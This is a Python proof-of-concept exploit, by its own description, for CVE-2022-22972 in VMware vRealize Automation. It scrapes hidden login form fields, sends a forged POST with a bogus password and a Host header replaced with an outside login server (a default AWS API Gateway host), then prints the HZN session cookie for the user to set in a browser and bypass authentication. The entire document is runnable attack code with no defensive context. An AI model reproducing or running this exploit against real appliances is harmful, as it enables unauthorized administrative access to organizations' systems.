import argparse import requests import urllib3 import sys from bs4 import BeautifulSoup from urllib.parse import urlparse urllib3.disable_warnings() # parse arguments parser = argparse.ArgumentParser(description='POC for CVE-2022-22972') parser.add_argument('url', type=str, help='Base url of appliance') parser.add_argument('--username', '-u', required=False, default='administrator', help='Name of local user to use for login') parser.add_argument('--host', required=False, default='ei3wpt9100.execute-api.us-east-2.amazonaws.com', help='Name of host to to use in Host header replacement. This host should have a login server running') args = parser.parse_args() url = args.url if not url.endswith('/'): url += "/" # Create a new session s = requests.Session() # Uncomment the following to proxy through BurpSuite # s.proxies = { # "https": "https://127.0.0.1:8080" # } # Send an initial get request to get a session cookie resp = s.get(url + "vcac", verify=False, allow_redirects=True) # Get the url from the response in the event the user passed an ip # address instead of a domain name parsed_url = urlparse(resp.url) url = parsed_url.scheme + "://" + parsed_url.netloc + "/" # Send another get request with the original_uri parameter. This will cause # a series of redirects ending with a login page with various hidden form fields that # we need to extract for our final POST. print("Extracting state from vcac redirects...") params = { "original_uri": f"{url}vcac", } resp = s.get( url + "vcac/", verify=False, allow_redirects=True, params=params) # Extract hidden forms fields soup = BeautifulSoup(resp.text, 'html.parser') form = soup.find('form') if not form: print('Form not found for /vcac endpoint. This might be patched or you may be using this against something that isnt vRealize Automation') sys.exit() data = { 'protected_state': form.find('input', {'id': 'protected_state'}).get('value'), 'userstore': form.find('input', {'id': 'userstore'}).get('value'), 'username': args.username, 'password': 'horizon', # bogus password 'userstoreDisplay': form.find('input', {'id': 'userstoreDisplay'}).get('value'), 'horizonRelayState': form.find('input', {'name': 'horizonRelayState'}).get('value'), 'stickyConnectorId': form.find('input', {'name': 'stickyConnectorId'}).get('value'), 'action': 'Sign+in' } # Assemble to forms fields into the body of the POST body = "" for k, v in data.items(): body += f'{k}={v}&' # remove last & body = body[0:len(body) - 1] # Create the auth POST request req = s.prepare_request(requests.Request('POST', url + "SAAS/auth/login/embeddedauthbroker/callback", data=body)) # Set the content type header. Set Host header for an endpoint that will return 200 # for requests to /SAAS/API/1.0/REST/auth/local/login req.headers.update({ "Content-type": "application/x-www-form-urlencoded", "Host": args.host }) print("Sending POST to auth endpoint") resp = s.send(req, verify=False, allow_redirects=False) # Extract the cookies print() print(f"HZN={s.cookies.get('HZN')}") print() print("Set the HZN cookie in your browser to bypass authentication")